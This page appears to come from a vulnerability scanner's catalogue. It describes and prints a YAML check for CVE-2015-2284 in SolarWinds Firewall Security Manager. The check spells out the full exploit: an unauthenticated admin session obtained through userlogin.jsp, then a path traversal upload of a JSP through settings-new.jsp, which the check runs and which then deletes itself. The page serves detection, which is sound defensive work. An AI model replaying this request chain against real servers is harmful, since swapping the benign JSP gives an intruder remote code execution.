Solarwinds Fsm — 1 vulnerability check

noctis ships 1 vulnerability check for Solarwinds Fsm, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

SolarWinds Firewall Security Manager userlogin.jsp Session Authentication Bypass and JSP Upload

CVECVE-2015-2284
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/solarwinds-fsm/CVE-2015-2284.yaml

Detects SolarWinds Firewall Security Manager (FSM) 6.6.5 and earlier, whose Change Advisor page userlogin.jsp stores any user name it is given in the caller's session, so an unauthenticated visitor becomes "admin". The settings page then accepts file uploads from that session without checking the file name, which lets a JSP be written into the web application and run. The test requests /fsm/userlogin.jsp?username=admin, keeps the session cookie it returns, and confirms that /fsm/requesthome.jsp now shows "Logged in as: admin", while the same page with a made-up session cookie does not. It then uploads a per-run JSP through /fsm/settings-new.jsp?action=uploadFile and requests it: the JSP prints the sum of two random numbers and deletes itself. The finding is reported at the highest confidence when that computed sum comes back, which proves code execution; when only the session bypass is confirmed, it is reported at a lower confidence. The same checks are repeated at the web root.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{fsmdir}}/userlogin.jsp?username=admin
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{fsmdir}}/requesthome.jsp
  5. HTTP(S) request GET {{fsmdir}}/requesthome.jsp
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request POST {{fsmdir}}/settings-new.jsp?action=uploadFile with a crafted body
  8. HTTP(S) request GET {{fsmdir}}/{{g.name}}.jsp
  9. Checks jsp.body for NOCTIS[0-9]+END → finding QoD 97: GET …/userlogin.jsp?username=admin gave a session that …/requesthome.jsp shows as "Logged in as: admin" (a forged JSESSIONID was not logged…
  10. Checks v.proof for ^Logged in as: admin$ → finding QoD 75: SolarWinds Firewall Security Manager userlogin.jsp Session Authentication Bypass (CVE-2015-2284)

References:

Feed source — tests/vulnerabilities/solarwinds-fsm/CVE-2015-2284.yaml
# SolarWinds Firewall Security Manager (FSM) <= 6.6.5 — Change Advisor
# userlogin.jsp lets an unauthenticated client put the "username" attribute
# into its own session (session.putValue), and settings-new.jsp only checks
# that attribute before running action=uploadFile, whose file name is not
# sanitised — CVE-2015-2284, ZDI-15-107, fixed in FSM 6.6.5 HotFix1.
#
# Ported from OpenVAS/Greenbone NVT
#   2015/gb_solarwinds_fsm_rce_vuln.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.106014, GPL-2.0-only)
# Upload shape (multipart "file" part, filename ../../jsp/<name>.jsp, then an
# "action" part, served back at /fsm/<name>.jsp) from the Metasploit module
#   exploits/windows/http/solarwinds_fsm_userlogin.
#
# Detection (tried under /fsm, the Change Advisor root, then under /):
#   1. GET userlogin.jsp?username=admin must answer 200 with a JSESSIONID
#      cookie (as in the NASL).
#   2. Control: GET requesthome.jsp with a random, never-issued JSESSIONID
#      must NOT show "Logged in as: admin" (fail-closed: no answer → no
#      finding), so a page that shows it for any cookie is not reported.
#   3. GET requesthome.jsp with the session from step 1 shows
#      "Logged in as: admin" → authentication bypassed.
#   4. QoD 97 (real exploitation, benign): POST settings-new.jsp?action=
#      uploadFile with that session and a per-run JSP named
#      ../../jsp/<name>.jsp, then GET <dir>/<name>.jsp. The JSP only prints
#      NOCTIS<a+b>END — the sum of two per-run random numbers, never in the
#      uploaded source — then deletes its own file.
#   5. QoD 75 fallback: the authentication bypass of step 3 alone.
#
# Better than the NASL: the NASL stops at "Logged in as: admin" with no
# control, so a page that prints it for every visitor is reported; it also
# truncates the session id at the first non-alphanumeric character (Jetty's
# "<id>.node0" form). This feed adds the forged-cookie control, keeps the
# whole cookie value, and proves the code-execution half of the CVE with a
# self-deleting JSP.
uid: 7f450462-6cdf-43b2-847f-7337a6f5c25a
name: "SolarWinds Firewall Security Manager userlogin.jsp Session Authentication Bypass and JSP Upload (CVE-2015-2284)"
description: |
  Detects SolarWinds Firewall Security Manager (FSM) 6.6.5 and earlier, whose
  Change Advisor page userlogin.jsp stores any user name it is given in the
  caller's session, so an unauthenticated visitor becomes "admin". The
  settings page then accepts file uploads from that session without checking
  the file name, which lets a JSP be written into the web application and run.
  The test requests /fsm/userlogin.jsp?username=admin, keeps the session
  cookie it returns, and confirms that /fsm/requesthome.jsp now shows
  "Logged in as: admin", while the same page with a made-up session cookie
  does not. It then uploads a per-run JSP through
  /fsm/settings-new.jsp?action=uploadFile and requests it: the JSP prints the
  sum of two random numbers and deletes itself. The finding is reported at the
  highest confidence when that computed sum comes back, which proves code
  execution; when only the session bypass is confirmed, it is reported at a
  lower confidence. The same checks are repeated at the web root.
cves: [CVE-2015-2284]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.30
tags: [solarwinds, fsm, firewall-security-manager, change-advisor, auth-bypass, session, file-upload, jsp, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-2284"
  - "https://www.zerodayinitiative.com/advisories/ZDI-15-107/"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/solarwinds_fsm_userlogin.rb"

steps:
  # Per-run JSP name, operands and forged control session id. The marker is
  # a+b, which never appears in the uploaded JSP source.
  - id: gen
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ name: "noctis" + rand_hex(8), a: a, b: b, marker: "NOCTIS" + (a + b) + "END",
         fakesid: toupper(rand_hex(16)) }
    store_as: g

  # Every step below runs once per base directory. Reset the results the
  # scripts read so a failed request (or a previous pass) leaves nothing stale.
  - id: init_ul
    action: set_var
    var_name: ul
    var_value: false
    loop:
      over: ["/fsm", ""]
      var: fsmdir

  - id: init_ct
    action: set_var
    var_name: ct
    var_value: false

  - id: init_home
    action: set_var
    var_name: home
    var_value: false

  - id: init_jsp
    action: set_var
    var_name: jsp
    var_value: false

  # ── 1. userlogin.jsp puts username=admin into our session ────────────────
  - id: userlogin
    action: http_request
    method: GET
    path: "{{fsmdir}}/userlogin.jsp?username=admin"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: ul

  - id: session
    action: script
    code: |
      let c = "";
      if type_of(ul) == "map" && ul.status == 200 && "set-cookie" in ul.headers { c = ul.headers["set-cookie"]; }
      let m = eregmatch("JSESSIONID=([^ ;,\r\n]+)", c);
      if type_of(m) == "array" && m.len() > 1 { #{ ok: true, cookie: "JSESSIONID=" + m[1] } } else { #{ ok: false, cookie: "" } }
    store_as: s

  # ── 2. Control: a forged, never-issued session must not be logged in ─────
  - id: control
    action: http_request
    method: GET
    path: "{{fsmdir}}/requesthome.jsp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "s.ok"
    headers:
      Cookie: "JSESSIONID={{g.fakesid}}"
    store_as: ct

  # ── 3. Our session is now logged in as admin ─────────────────────────────
  - id: requesthome
    action: http_request
    method: GET
    path: "{{fsmdir}}/requesthome.jsp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "s.ok"
    headers:
      Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
      Cookie: "{{s.cookie}}"
    store_as: home

  - id: verdict
    action: script
    code: |
      let re = "Logged in as:(&nbsp;|[ \t\r\n]|<[^>]*>)*admin";
      let ok = false;
      if type_of(home) == "map" && home.status == 200 && type_of(ct) == "map" && ct.status > 0 {
        ok = ereg(re, home.body) && !ereg(re, ct.body);
      }
      #{ ok: ok, proof: if ok { "Logged in as: admin" } else { "" } }
    store_as: v

  # ── 4. Benign RCE proof: self-deleting JSP through settings-new.jsp ──────
  # The upload lands in ...\reports\tickets\; ../../jsp/ moves it into the
  # servlet bundle's jsp\ directory, served at <dir>/<name>.jsp. The JSP
  # deletes itself through its real path, or, where the container gives no
  # real path, through the install-relative path (the server runs from
  # ...\SolarWinds FSMServer\webservice), then the default install path.
  - id: upload
    action: http_request
    method: POST
    path: "{{fsmdir}}/settings-new.jsp?action=uploadFile"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "v.ok"
    headers:
      Cookie: "{{s.cookie}}"
      Referer: "{{scheme}}://{{target_host}}:{{port}}{{fsmdir}}/settings-new.jsp"
      Content-Type: "multipart/form-data; boundary=noctisxYzZY{{g.a}}"
    body: "--noctisxYzZY{{g.a}}\r\nContent-Disposition: form-data; name=\"file\"; filename=\"../../jsp/{{g.name}}.jsp\"\r\nContent-Type: application/vnd.ms-excel\r\n\r\n<% out.print(\"NOCTIS\" + ({{g.a}} + {{g.b}}) + \"END\"); try { String p = application.getRealPath(request.getServletPath()); java.io.File f = p == null ? null : new java.io.File(p); if (f == null || !f.delete()) { java.io.File r = new java.io.File(\"../plugins/com.lisletech.athena.http.servlets_1.2/jsp/{{g.name}}.jsp\"); if (!r.delete()) { new java.io.File(\"C:/Program Files/SolarWinds/SolarWinds FSMServer/plugins/com.lisletech.athena.http.servlets_1.2/jsp/{{g.name}}.jsp\").delete(); } } } catch (Exception e) { } %>\r\n--noctisxYzZY{{g.a}}\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nuploadFile\r\n--noctisxYzZY{{g.a}}--\r\n"
    store_as: up

  # The upload answers with an error page on success (the JSP is not a valid
  # spreadsheet), so its status is not checked: only the executed JSP counts.
  - id: fetch
    action: http_request
    method: GET
    path: "{{fsmdir}}/{{g.name}}.jsp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "v.ok"
    store_as: jsp

  # Only a server that wrote AND executed the JSP returns the computed sum.
  - id: confirm
    action: match
    source: jsp.body
    pattern: "NOCTIS[0-9]+END"
    condition: "v.ok && type_of(jsp) == \"map\" && jsp.status == 200 && stridx(jsp.body, g.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "GET {{fsmdir}}/userlogin.jsp?username=admin gave a session that {{fsmdir}}/requesthome.jsp shows as \"Logged in as: admin\" (a forged JSESSIONID was not logged in); POST {{fsmdir}}/settings-new.jsp?action=uploadFile with filename ../../jsp/{{g.name}}.jsp wrote a JSP that GET {{fsmdir}}/{{g.name}}.jsp executed, returning the computed marker {{g.marker}} (the JSP deleted itself after running)"
      stop: true

  # ── 5. Fallback: session authentication bypass only ──────────────────────
  - id: auth_bypass
    action: match
    source: v.proof
    pattern: "^Logged in as: admin$"
    condition: "v.ok"
    on_match:
      finding:
        title: "SolarWinds Firewall Security Manager userlogin.jsp Session Authentication Bypass (CVE-2015-2284)"
        confidence_delta: 0.45
        qod: 75
        evidence: "GET {{fsmdir}}/userlogin.jsp?username=admin gave a session that {{fsmdir}}/requesthome.jsp shows as \"Logged in as: admin\" (a forged JSESSIONID was not logged in); the JSP upload through {{fsmdir}}/settings-new.jsp?action=uploadFile could not be confirmed (if it was stored, remove {{g.name}}.jsp from the servlet bundle's jsp directory; it deletes itself when run)"
      stop: true

View these feeds on GitHub